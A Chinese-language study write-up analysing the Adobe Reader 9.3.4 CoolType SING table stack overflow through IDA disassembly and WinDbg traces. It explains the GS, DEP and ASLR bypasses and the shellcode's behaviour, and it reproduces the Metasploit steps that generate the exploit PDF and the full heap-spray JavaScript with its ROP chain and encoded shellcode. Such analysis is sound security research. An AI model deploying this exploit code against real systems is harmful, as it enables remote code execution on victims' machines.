前言
此漏洞是根據泉哥的《漏洞戰爭》來學習分析的，網上已有大量分析文章在此只是做一個獨立的分析記錄。
復現環境
- 操作系統 -> Windows XP Sp3
- 軟件版本 -> Adobe Reader 9.3.4
靜態分析
如果根據泉哥的文章直接走倒是也沒有啥問題，不過在學習的過程中倒是很想試一下如果沒有更多提示的條件下是否可以走一遍整個流程。於是搜索這個漏洞的信息找到了一篇NVD的文章，這里很明確的告訴了漏洞所在的庫和SING表的一些信息以及漏洞類型是一個棧溢出，在這些信息的基礎上我們可以嘗試靜態分析一下CoolType.dll來大概搜索一下漏洞可能出現的位置。其實注意看上下文的話，在 IDA中能很快看到緊鄰SING字符串的下方有一個strcat函數的調用，這里就極有可能是漏洞位置了。
.text:0803DCF9 var_160 = byte ptr -160h
.text:0803DCF9 var_140 = dword ptr -140h
.text:0803DCF9 var_138 = dword ptr -138h
.text:0803DCF9 var_134 = dword ptr -134h
.text:0803DCF9 var_130 = dword ptr -130h
.text:0803DCF9 var_12C = dword ptr -12Ch
.text:0803DCF9 var_128 = dword ptr -128h
.text:0803DCF9 var_124 = dword ptr -124h
.text:0803DCF9 var_120 = dword ptr -120h
.text:0803DCF9 var_119 = byte ptr -119h
.text:0803DCF9 var_114 = dword ptr -114h
.text:0803DCF9 var_10C = dword ptr -10Ch
.text:0803DCF9 var_108 = byte ptr -108h
.text:0803DCF9 var_4 = dword ptr -4
.text:0803DCF9 arg_0 = dword ptr 8
.text:0803DCF9 arg_4 = dword ptr 0Ch
.text:0803DCF9 arg_8 = dword ptr 10h
.text:0803DCF9 arg_C = dword ptr 14h
.text:0803DCF9
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h
.text:0803DD00 lea ebp, [esp-4]
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset sub_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C]
.text:0803DD7D call sub_8021B06
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4
.text:0803DD8D mov ecx, [eax]
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat
這里可以看到strcat函數調用之前確實沒有進行長度驗證，如果只是單純的看這段匯編代碼可能很難和整個漏洞聯系起來，於是我們要動態調試來看一看。
動態調試
首先，我們利用msf生成一個樣本，為了后面的調試方便，最好先改一下exp的源碼，linux下msf的exp在/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformat目錄下，隨后我們找到adobe_cooltype_sing.rb文件，注釋掉其中的第102行，恢復101行，這里為了不被檢測到用了隨機數據的方式來填充的，但是這不利於調試。然后設置payload，命令行如下
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename calc.pdf
filename => calc.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > run
然后我們用windbg打開Adober Reader，用sxe ld CoolType在程序加載CoolType.dll的時候下斷，隨后執行，加上IDA中的靜態分析我們可以知道strcat函數的偏移，於是我們在strcat處下斷bp 0803DDAB ，打開poc，繼續執行，這里我們看到調用strcat函數之前的函數參數如下
0:000> dd esp
0013e468 0013e4d8 03395fb4 07e5c04f 00000004
0013e478 0013e6d0 00000000 0341f250 0341f0d0
0013e488 03685db0 03685dac 0013e4c0 78147548
0013e498 0341f0d0 03685db0 000001fc 00000004
0013e4a8 0013e700 0013e6d0 0013e718 03395fa4
0013e4b8 00001ddf 00000000 00000000 00e5b9cc
0013e4c8 0013e470 0013e70c 08184a54 00000002
0013e4d8 0013e400 0013e6b0 00000000 07e5c1d7
0:000> dd 0013e4d8
0013e4d8 0013e400 0013e6b0 00000000 07e5c1d7
0013e4e8 0013e858 0823ae9c 080852ef 0823a650
0013e4f8 03685dac 08080d0b 0341f0c4 0013e4d4
0013e508 0013e550 010ff8af ffffffff 00e5b9dc
0013e518 00f4a90a 0013e584 0013e594 0013e580
0013e528 0013e57c 00f4a949 07e5d872 00000004
0013e538 0013e6b0 00000000 0013e540 00f4a90a
0013e548 0013e5b0 0013e5c0 0013e5d4 010fc97e
0:000> dd 03395fb4
03395fb4 41414141 41414141 4a82a714 0c0c0c0c
03395fc4 41414141 41414141 41414141 41414141
03395fd4 41414141 41414141 41414141 41414141
03395fe4 41414141 41414141 41414141 41414141
03395ff4 41414141 41414141 41414141 41414141
03396004 41414141 41414141 41414141 41414141
03396014 41414141 41414141 41414141 41414141
03396024 41414141 41414141 41414141 41414141
調試到這一步基本驗證了之前的想法，漏洞確實在此處strcat的位置。此時我們用pdfStreamDumper這個工具來分析一下樣本pdf，將對應的object保存到本地如下
由於Adobe font官網2018的改版原來介紹SING表數據結構的文檔暫時未找到，根據泉哥書中的介紹SING字符串偏移0x11c以后就是SING表的真實數據，也就是A字符串填充開始的地方，strcat的復制拼接也是從這里開始的。這里復制的長度為0x23C，從書中提供的SING表的數據結構來看這里接受的最大長度是28Byte，復制的長度遠遠超過了緩沖區的長度。在確定了漏洞的位置以后，我們就來學一學此漏洞的利用，盡量從exp的作者來考慮這個問題。
漏洞利用
首先我們需要羅列一下這個版本的Adobe Reader都開啟了哪些安全機制
- GS，又稱
canary，通過在函數返回前壓入棧的隨機值是否被覆蓋來決定是否拋出異常，或者繼續執行代碼- DEP，堆棧不可執行保護，標記了堆棧讀寫屬性，完全關閉了執行的權限
- ASLR，地址隨機化，程序每次加載的內存位置不固定，在此版本的Reader中應該未覆蓋到此模塊
首先我們來看一下GS的通用繞過策略，通常包括以下幾種方法
- 利用未開啟
GS安全機制的內存- 覆蓋異常處理機制(SEH)的指針，程序觸發異常后劫持程序執行流，如果程序啟用safeSEH則需要另外考慮
- 利用C++函數的虛表指針，覆蓋虛函數的指針，在溢出后，函數返回之前就劫持程序流程
- 信息泄露，利用條件比較受限
我們分析一下手頭的樣本，看作者利用了哪些方法來繞過GS的，觀察一下復制了內容以后的棧空間和之前的對比，如下所示
復制之前1
復制之后1
復制之前2
復制之后2
復制之前3
復制之后3
從這幾處的對比可以看出，作者溢出緩沖區只是覆蓋了幾個關鍵的位置，那么這幾個關鍵的位置究竟是做什么用的呢？通過單步跟蹤的方式，我們最終跟蹤到了一處調用，如下所示
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=0808b308 esp=0013dd28 ebp=0013dd48 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
CoolType!CTInit+0x44c65:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\icucnv36.dll -
0808b308 ff10 call dword ptr [eax] ds:0023:0013e6d0=4a80cb38
0:000> dd eax
0013e6d0 4a80cb38 41414141 41414141 41414141
0013e6e0 41414141 41414141 41414141 41414141
0013e6f0 41414141 41414141 41414141 41414141
0013e700 41414141 41414141 41414141 41414141
0013e710 41414141 0000006c 00000000 0000006d
0013e720 00000001 00000001 00000000 04835f84
0013e730 0483cae0 000026ec 0483c750 00000000
0013e740 0483c758 00000200 0483c758 080833ef
0:000> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
4a80cb3e c9 leave
4a80cb3f c3 ret
可以看到此處的函數調用的地址剛好是覆蓋后的特殊字段，對其進行反匯編可以發現其作用是將棧拉低0x794的地址長度然后返回，很明顯這里已經是作者布置好的ROP鏈，這用來繞過上面所說的DEP機制，跟蹤的過程中發現此處還未執行到strcat函數所在函數塊的正常返回的位置，那么可以初步確定繞過GS的方法用的就是覆蓋C++虛函數的方式，那么上面被4a80cb38所覆蓋的就是原本的C++的虛函數指針，這里選擇4a80cb38作為ROP的地址的一部分是因為其所在的icucnv36.dll基本在之前的大部分版本中都保持不變，所以極大提高了exp的通用性。我們跟進去，看看這里返回以后是哪里
0:000> t
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb38 esp=0013dd24 ebp=0013dd48 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3e esp=0013dd24 ebp=0013e4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9 leave
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3f esp=0013e4e0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3 ret
0:000> dd esp
0013e4e0 4a82a714 0c0c0c0c 41414141 41414141
0013e4f0 41414141 41414141 41414141 41414141
0013e500 41414141 41414141 41414141 41414141
0013e510 41414141 41414141 41414141 41414141
0013e520 41414141 41414141 41414141 41414141
0013e530 41414141 41414141 41414141 41414141
0013e540 41414141 41414141 41414141 41414141
0013e550 41414141 41414141 41414141 41414141
0:000> u 4a82a714
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
4a82a715 c3 ret
看到上面的指令，尤其是0c0c0c0c這塊地址，基本上已經確定了，這里使用的是Heap Spray。這里通過把原來的棧內存釋放到溢出以后的可控區域，然后在其中布置ROP鏈地址，最后劫持寄存器到堆中指定地址，執行另外的ROP鏈。既然是用Heap Spray在堆中布局，那么pdf中一定內嵌了js，我們看一下
var var_unescape = unescape;
var shellcode = var_unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%udbb8%u1039%uda5b%ud9da%u2474%u5af4%uc931%u31b1%uea83%u31fc%u0f42%u4203%udbd4%ua7e5%u9902%u5806%ufed2%ubd8f%u3ee3%ub6eb%u8f53%u9a7f%u645f%u0f2d%u08d4%u20fa%ua65d%u0fdc%u9b5e%u111d%ue6dc%uf171%u28dd%uf084%u541a%ua065%u12f3%u55d8%u6e70%udee1%u7eca%u0261%u819a%u9540%udb91%u1742%u5076%u0fcb%u5d9b%ua485%u296f%u6d14%ud2be%u50bb%u210f%u95c5%udab7%uefb0%u67c4%u2bc3%ub3b7%ua846%u371f%u14f0%u949e%ude67%u51ac%ub8e3%u64b0%ub320%uedcc%u14c7%ub545%ub0e3%u6d0e%ue18d%uc0ea%uf2b2%ubc55%u7816%ua97b%u232a%u2c11%u59b8%u2e57%u61c2%u47c7%ueaf3%u1088%u390c%uefed%u6046%u7847%uf00f%ue5da%u2eb0%u1018%udb33%ue7e0%uae2b%uace5%u42eb%ubd97%u6499%ubd04%u068b%u2dcb%ue757%ud66e%uf7f2');
var var_c = var_unescape("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c");
while (var_c.length + 20 + 8 < 65536) {
var_c += var_c;
}
sp = var_c.substring(0, (0x0c0c - 0x24) / 2);
sp += shellcode;
sp += var_c;
slackspace = sp.substring(0, 65536 / 2);
while (slackspace.length < 0x80000) {
slackspace += slackspace;
}
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var memory = new Array();
for (count = 0; count < 0x1f0; count++) {
memory[count] = bigblock + "s"
}
通過觀察這段js的代碼，我們發現其基本上就是將0c0c0c0c + shellcode + 0c0c0c0c這樣的"肉夾饃"(一份大概32k)整了200+M。這樣覆蓋到0x0c0c0c0c這個地址基本不是什么問題。用這樣的方式布置shellcode也基本不用考慮ASLR的影響了。隨后我們分析一下shellcode所做的操作，shellcode也是用了ROP來做實現的
可以看出執行ROP使用了多條鏈，這里要指出的一點是此版本的Reader開啟了ASLR，但是卻沒有覆蓋到這里所用的icucnv36.dll這個模塊，所以以上的ROP鏈是可以穩定執行的。到此漏洞利用的行為基本分析清楚，我們來回顧一下，作者是如何逐個突破這些安全機制的限制，一步一步達到RCE的
- GS-->這里作者使用了覆蓋C++的虛函數指針的方式來繞過的，使得在函數返回做檢查之前就成功劫持程序執行流
- DEP-->這里使用的是經典的對抗方式
ROP- ASLR-->作者找到了未開啟ASLR的模塊來依托其穩定的執行ROP鏈
這其中尤其是繞過GS所使用的覆蓋C++虛表函數指針的操作，使得整個利用的過程獲得了完美的轉機，本環境中系統是默認開啟了safeSEH防護的，在這樣的條件下使用覆蓋C++虛表函數的方式，直接可以同時間繞過GS和safeSEH，兩全其美。
shellcode分析
shellcode部分首先就是執行了一個CreateFileW函數來創建一個文件，下面是這個函數的定義
HANDLE CreateFile(
LPCTSTR lpFileName, //指向文件名的指針
DWORD dwDesiredAccess, //訪問模式（寫/讀）
DWORD dwShareMode, //共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全屬性的指針
DWORD dwCreationDisposition, //如何創建
DWORD dwFlagsAndAttributes, //文件屬性
HANDLE hTemplateFile //用於復制文件句柄
);
我們來看一下此時的參數
0:000> p
eax=7ffdebf8 ebx=00000000 ecx=7ffdec00 edx=4a8522c8 esi=0224b760 edi=0013e718
eip=7c801a4e esp=0c0c0c04 ebp=0c0c0c20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
kernel32!CreateFileA+0x26:
7c801a4e e886f20000 call kernel32!CreateFileW (7c810cd9)
0:000> dd esp
0c0c0c04 7ffdec00 10000000 00000000 00000000
0c0c0c14 00000002 00000102 00000000 41414141
0c0c0c24 4a801064 4a8522c8 10000000 00000000
0c0c0c34 00000000 00000002 00000102 00000000
0c0c0c44 4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0c54 00000008 4a80a8a6 4a801f90 4a849038
0c0c0c64 4a80b692 4a801064 ffffffff 00000000
0c0c0c74 00000040 00000000 00010000 00000000
0:000> dc 7ffdec00
7ffdec00 00730069 0038006f 00350038 00310039 i.s.o.8.8.5.9.1.
7ffdec10 00640000 00650052 00650063 00760069 ..d.R.e.c.e.i.v.
7ffdec20 00430065 006e006f 00630065 00690074 e.C.o.n.e.c.t.i.
7ffdec30 006e006f 0045002e 00650076 0074006e o.n...E.v.e.n.t.
7ffdec40 0045002e 00470048 0049002e 00000043 ..E.H.G...I.C...
7ffdec50 0069005c 00750063 00740064 00360033 \.i.c.u.d.t.3.6.
7ffdec60 0063005f 006b006a 0064002e 006c006c _.c.j.k...d.l.l.
7ffdec70 006c0000 006e0000 0061002e 006c0070 ..l...n...a.p.l.
根據函數的定義我們知道0x7ffdec00這個地址處就是創建的文件文件名，我們看到其名字是iso88591，這里還要指出的一點是創建的文件是和打開的pdf在一個文件夾下面，但是，他是隱藏文件(參考棧中的參數)，不過在創建文件以后，通過Everything還是很容易搜索得到的
創建文件以后又調用了CreatFileMapping函數為剛剛創建的文件生成一個文件共享內存映像，其函數原型和參數如下所示
HANDLE CreateFileMapping(
HANDLE hFile, //物理文件句柄
LPSECURITY_ATTRIBUTES lpAttributes, //安全設置
DWORD flProtect, //保護設置
DWORD dwMaximumSizeHigh, //高位文件大小
DWORD dwMaximumSizeLow, //低位文件大小
LPCTSTR lpName //共享內存名稱
);
0:000> p
eax=4a849038 ebx=00000008 ecx=4a801064 edx=00160608 esi=00000000 edi=0000048c
eip=7c80955a esp=0c0c0c40 ebp=0c0c0c64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!CreateFileMappingA+0x50:
7c80955a e8ddfeffff call kernel32!CreateFileMappingW (7c80943c)
0:000> dd esp
0c0c0c40 0000048c 00000000 00000040 00000000
0c0c0c50 00010000 00000000 0224b760 4a801064
0c0c0c60 4a801064 41414141 4a801064 0000048c
0c0c0c70 00000000 00000040 00000000 00010000
0c0c0c80 00000000 4a8063a5 4a801064 4a842db2
0c0c0c90 4a802ab1 00000008 4a80a8a6 4a801f90
0c0c0ca0 4a849030 4a80b692 4a801064 ffffffff
0c0c0cb0 00000022 00000000 00000000 00010000
在這之后緊接着，用相同的手段調用了CreateFileMappingEx函數，將之前創建的文件內存映射對象映射到當前程序的地址空間，其函數原型和參數如下
LPVOID WINAPI MapViewOfFileEx(
__in HANDLE hFileMappingObject,
__in DWORD dwDesiredAccess,
__in DWORD dwFileOffsetHigh,
__in DWORD dwFileOffsetLow,
__in SIZE_T dwNumberOfBytesToMap,
__in LPVOID lpBaseAddress
);
0:000> p
eax=4a849030 ebx=00000008 ecx=4a801064 edx=7c90e514 esi=0224b760 edi=00000488
eip=7c80b9bb esp=0c0c0c8c ebp=0c0c0ca4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!MapViewOfFile+0x16:
7c80b9bb e876ffffff call kernel32!MapViewOfFileEx (7c80b936)
0:000> dd esp
0c0c0c8c 00000488 00000022 00000000 00000000
0c0c0c9c 00010000 00000000 41414141 4a801064
0c0c0cac 00000488 00000022 00000000 00000000
0c0c0cbc 00010000 4a8063a5 4a8a0004 4a802196
0c0c0ccc 4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0cdc 00000030 4a80a8a6 4a801f90 4a8a0004
0c0c0cec 4a80a7d8 4a8063a5 4a801064 4a842db2
0c0c0cfc 4a802ab1 00000020 4a80a8a6 4a8063a5
再往下走，我們碰到了一個很熟悉的函數memcpy，此處將真正的shellcode復制到映射過來的內存區域，然后執行
0:000> p
eax=0c0c1d54 ebx=0000000a ecx=00000400 edx=00000000 esi=0c0c0d54 edi=03f30000
eip=7814507a esp=0c0c0d38 ebp=0c0c0d40 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
MSVCR80!memcpy+0x5a:
7814507a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd esi
0c0c0d54 1039dbb8 d9dada5b 5af42474 31b1c931
0c0c0d64 31fcea83 42030f42 a7e5dbd4 58069902
0c0c0d74 bd8ffed2 b6eb3ee3 9a7f8f53 0f2d645f
0c0c0d84 20fa08d4 0fdca65d 111d9b5e f171e6dc
0c0c0d94 f08428dd a065541a 55d812f3 dee16e70
0c0c0da4 02617eca 9540819a 1742db91 0fcb5076
0c0c0db4 a4855d9b 6d14296f 50bbd2be 95c5210f
0c0c0dc4 efb0dab7 2bc367c4 a846b3b7 14f0371f
0:000> u esi
0c0c0d54 b8db39105b mov eax,5B1039DBh
0c0c0d59 dada fcmovu st,st(2)
0c0c0d5b d97424f4 fnstenv [esp-0Ch]
0c0c0d5f 5a pop edx
0c0c0d60 31c9 xor ecx,ecx
0c0c0d62 b131 mov cl,31h
0c0c0d64 83eafc sub edx,0FFFFFFFCh
0c0c0d67 31420f xor dword ptr [edx+0Fh],eax
這時我們發現已經創建好的文件中被寫入了shellcode，打開如下所示
可以發現這正是我們復制過來的數據，隨后我們對其進行反匯編，看看其代碼，如下所示
void fcn.00000000(int64_t arg1, int64_t arg2, int64_t arg_10h)
{
uint32_t uVar1;
int64_t iVar2;
uint64_t uVar3;
int64_t unaff_RSI;
int64_t unaff_RDI;
uint32_t in_FPUInstructionPointer;
uVar1 = 0x81876589;
uVar3 = (uint64_t)in_FPUInstructionPointer;
iVar2 = 0x59;
do {
uVar3 = (uint64_t)((int32_t)uVar3 + 4);
*(uint32_t *)(uVar3 + 0x10) = *(uint32_t *)(uVar3 + 0x10) ^ uVar1;
uVar1 = uVar1 + *(int32_t *)(uVar3 + 0x10);
iVar2 = iVar2 + -1;
} while (iVar2 != 0);
fcn.000000b0(unaff_RSI, unaff_RDI);
// WARNING: Bad instruction - Truncating control flow here
halt_baddata();
}
總結
作者在選擇執行shellcode的時候選擇用創建新的可執行內存區域的方式使得任意代碼執行更穩定，這種穩妥的利用不失為一種好的思路。